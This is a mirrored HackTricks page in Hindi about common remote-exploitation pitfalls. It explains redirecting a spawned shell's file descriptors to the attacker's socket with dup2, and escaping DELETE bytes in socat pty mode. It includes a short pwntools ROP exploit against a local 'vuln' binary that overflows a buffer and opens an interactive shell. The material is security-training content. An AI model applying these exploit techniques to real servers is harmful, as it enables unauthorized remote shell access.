mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
2.9 KiB
Markdown
37 lines
2.9 KiB
Markdown
# सामान्य शोषण समस्याएँ
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## दूरस्थ शोषण में FDs
|
|
|
|
जब एक दूरस्थ सर्वर को एक शोषण भेजा जाता है जो **`system('/bin/sh')`** को कॉल करता है, उदाहरण के लिए, यह सर्वर प्रक्रिया में निष्पादित होगा, और `/bin/sh` stdin (FD: `0`) से इनपुट की अपेक्षा करेगा और stdout और stderr (FDs `1` और `2`) में आउटपुट प्रिंट करेगा। इसलिए हमलावर शेल के साथ इंटरैक्ट नहीं कर पाएगा।
|
|
|
|
इसका एक समाधान यह है कि मान लिया जाए कि जब सर्वर शुरू हुआ, तो उसने **FD संख्या `3`** (सुनने के लिए) बनाई और फिर, आपका कनेक्शन **FD संख्या `4`** में होगा। इसलिए, यह संभव है कि syscall **`dup2`** का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (हमलावर के कनेक्शन वाला) में डुप्लिकेट किया जाए ताकि यह शेल से संपर्क करना संभव हो सके जब इसे निष्पादित किया जाए।
|
|
|
|
[**यहाँ से शोषण उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = remote('localhost', 9001)
|
|
|
|
rop = ROP(elf)
|
|
rop.raw('A' * 40)
|
|
rop.dup2(4, 0)
|
|
rop.dup2(4, 1)
|
|
rop.win()
|
|
|
|
p.sendline(rop.chain())
|
|
p.recvuntil('Thanks!\x00')
|
|
p.interactive()
|
|
```
|
|
## Socat & pty
|
|
|
|
ध्यान दें कि socat पहले से ही **`stdin`** और **`stdout`** को सॉकेट पर स्थानांतरित करता है। हालाँकि, `pty` मोड **DELETE वर्णों** को **शामिल करता है**। इसलिए, यदि आप `\x7f` ( `DELETE` -) भेजते हैं, तो यह **आपके एक्सप्लॉइट के पिछले वर्ण को हटा देगा**।
|
|
|
|
इससे बचने के लिए **escape character `\x16` को भेजे गए किसी भी `\x7f` से पहले जोड़ा जाना चाहिए।**
|
|
|
|
**यहाँ आप** [**इस व्यवहार का एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**।**
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|